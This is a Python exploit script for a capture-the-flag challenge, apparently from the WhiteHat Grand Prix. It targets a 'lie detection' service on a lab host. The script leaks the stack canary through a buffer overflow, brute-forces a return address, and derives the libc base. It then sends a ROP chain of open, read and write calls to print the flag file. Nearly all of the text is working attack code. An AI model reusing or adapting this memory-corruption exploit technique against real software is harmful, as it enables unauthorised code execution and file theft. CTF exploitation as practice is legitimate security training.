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#!/usr/bin/python | |
# Author : peternguyen | |
from Pwn import * | |
import time | |
def exploit(): | |
# raw_input('Debug>') | |
while 1: | |
path_file = '/home/ctf/flag.txt' | |
p = Pwn(mode=1,host='lab10.grandprix.whitehatvn.com',port=1337) | |
# p = Pwn(mode=1) | |
p.connect() | |
# raw_input('Debug>') | |
p.read_until('Welcome to the lie dectection system!') | |
p.read_until('Your name:') | |
p.write('A'*265) | |
data = p.read_until('Your age:') | |
data = data[22:] | |
# print repr(data) | |
canary = '\x00' + data[265:265 + 7] | |
print 'Canary',hex(p.unpack(canary)) | |
p.send('A'*264 + canary + 'A'*8 + '\x22\x4d') #brute force this | |
d = p.recv(1024) | |
d = p.recv(1024) | |
if 'Welcome to the lie dectection system!' in d: | |
if 'Your name:' not in d: | |
p.read_until('Your name:') | |
p.send('C'*336) | |
data = p.read_until('Your age:') | |
# print repr(data) | |
libc_base = p.unpack(data[358:358 + 6] + '\x00'*2) - 0x21ec5 | |
open_addr = libc_base + 0xeb610 | |
write_addr = libc_base + 0xeb860 | |
read_addr = libc_base + 0xeb800 | |
main_area = libc_base + 3925968 | |
pop_rdx_pop_rsi = libc_base + 0x108169 | |
pop_rdi = libc_base + 0x22b1a | |
print 'Libc_base',hex(libc_base) | |
print 'open()',hex(open_addr) | |
print 'read_addr()',hex(read_addr) | |
print 'write()',hex(write_addr) | |
pl = 'A'*264 + canary + 'A'*8 | |
pl+= p.pA([ | |
pop_rdi, | |
0, | |
pop_rdx_pop_rsi, | |
len(path_file), | |
main_area, | |
read_addr, # read(0,main_arae,len(path_file)) | |
pop_rdi, | |
main_area, | |
pop_rdx_pop_rsi, | |
0x400, | |
0, | |
open_addr, # open(main_area,0) | |
pop_rdi, | |
3, | |
pop_rdx_pop_rsi, | |
4096, | |
main_area + 0x200, | |
read_addr, #read(3,main_area + 0x200,4096) | |
pop_rdi, | |
0, | |
pop_rdx_pop_rsi, | |
4096, | |
main_area + 0x200, | |
write_addr # write(0,main_area + 0x200,4096) | |
]) | |
p.send(pl) | |
time.sleep(1) | |
p.send(path_file) | |
p.io() | |
break | |
else: | |
print 'Thot' | |
exploit() |
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